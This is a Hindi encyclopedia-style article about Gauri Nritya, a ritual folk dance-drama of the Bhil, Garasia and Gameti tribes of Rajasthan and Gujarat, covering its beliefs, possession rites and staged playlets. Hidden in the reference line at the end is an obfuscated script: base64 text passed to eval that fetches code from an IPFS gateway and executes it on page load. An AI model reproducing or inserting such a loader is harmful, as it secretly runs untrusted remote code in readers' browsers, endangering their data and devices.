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गौरी नृत्य

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गौरी नृत्य धर्म और आस्था का प्रतीक है। राजस्थान के आदिवासियों की विभिन्न आंचलिक लोक नृत्यों की श्रृंखला में गौरी नृत्य का विशेष स्थान है। इस नृत्य में मनोरंजन के साथ-साथ धार्मिक परंपरा का विशेष रूप से समावेश किया गया है। अपनी कुलदेवी को प्रसन्न करने के लिए किया जाने वाला यह नृत्य राजस्थान और गुजरात में बसे भीलों में काफ़ी प्रचलित है।

लोकप्रियता

भीलों के साथ-साथ गरासिया और गमेटी जनजाति के लोगों में भी यह नृत्य बहुत लोकप्रिय है। गौरी नृत्य वास्तव में लोक नृत्य-नाटिका है, जिसमें 15-20 से लेकर 30-40 पात्रों का समूह अपना किरदार अदा करता है। गौरी नृत्य की पृष्ठभूमि और कथानक किसी न किसी रूप में लोक कथाओं और घटनाओं पर आधारित होती है। इस नृत्य में महिलाएँ भाग नहीं लेतीं। पुरुष ही स्त्रियों की भूमिका निभाते हैं। ग्रामवासियों का समूह ढोल, मंजीरा, डमरू, कांसे की थाली जैसे साजों की धुनों पर थिरकता हुआ जैसे ही गांव में प्रवेश करता है तो समूह का जोरदार स्वागत किया जाता है। धूप-अगरबत्ती से मां गौरी की अर्चना की जाती है तथा इसके साथ ही नृत्य की शुरुआत होती है।[1]

मान्यता

आदिवासी समाज में आज भी यह मान्यता है कि यदि कुल देवी नाराज हो जाएं तो समाज को घोर संकट का सामना करना पड़ सकता है। यही कारण है कि आज भी ये इस सम्भावित विपदा से छुटकारा पाने के लिए गांव के लोगों से चन्दा इकट्ठा करते हैं तथा गौरी पूजा के लिए भक्तों को आमंत्रित करते हैं। इन भक्तों को स्थानिय भाषा में 'भोपा' भी कहते हैं।

नृत्य संचालन

गौरी नृत्य सावन और भादो मास के प्रथम पक्ष में ही आयोजित किया जाता है। आयोजन तक लोग खेती-बाड़ी के काम से मुक्त हो जाते हैं। खुशहाल खेतों को देखकर आदिवासियों का मन प्रफुल्लित हो उठता है और वे पूरे उत्साह से नृत्य में शामिल होते हैं। यह नृत्य सार्वजनिक स्थलों पर आयोजित किए जाते हैं। सवसे पहले गौरी के निशान की स्थापना होती है। उस स्थान में त्रिशूल जमीन में गाड़ दिया जाता है। माँ की स्तुति गायन के साथ समूह का एक वृद्ध भक्त अन्य कलाकारों के साथ वृत्ताकार परिधि में उनके विपरीत दिशा में घूमता हुआ नृत्य करता है। इसे 'बुढिया' के नाम से पुकारा जाता है। इन सभी कलाकारों में यह वृद्ध कलाकार मुखौटा लगाकर घुंघरु बांधकर सब लोगों से अलग दिखता है। लोग नृत्य करते हुए झूमने लगते हैं।[1]

लोगों का विश्वास है कि नृत्य के दौरान देवी किसी एक भोपे के शरीर में प्रविष्ट होती है। उसका शरीर कांपने लगता है तथा थोड़ी देर के लिए उसकी शक्ल बड़ी अजीब-सी हो जाती है। अर्धमूर्छित अवस्था में भोपा झूमने लगता है और मुँह से तरह-तरह की आवाजें निकालता है। इसके बाद बुढ़िया, जिसे मुख्य भावधारी भी कहते हैं, उस गांव की समस्याओं के बारे में बात करता है। उसके निवारण का उपाय सुझाता है। कुछ देर बाद यह नृत्य अपना धार्मिक और पौराणिक जामा त्यागकर मनोंरंजन का रूप ले लेता है।

नाटिकाओं का मंचन

हंसी और उल्लास से सारा वातावरण तरो-ताजा हो जाता है। तरह-तरह के मनोरंजक कार्यक्रम आयोजित किए जाते हैं। गौरी नृत्य के ही दौरान अनेक नाटिकाओं का मंचन किया जाता है। नृत्य में पात्रों को मूलतः चार भागों में बांटते हैं। कुछ देव पात्र तो कुछ मानव पात्र होते हैं। ये सब पात्र अपनी भूमिकाएँ बड़ी मेहनत से निभाते हैं। नृत्य के पश्चात् समाज के वृद्ध गण कलाकारों को कुछ पुरस्कार भी देते हैं और इस तरह हँसी-खुशी के माहौल में नृत्य उत्सव का समापन होता है।[1]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 धर्म और आस्था का प्रतीक गौरी नृत्य (हिन्दी) लोकरंग। अभिगमन तिथि: 22 फरवरी, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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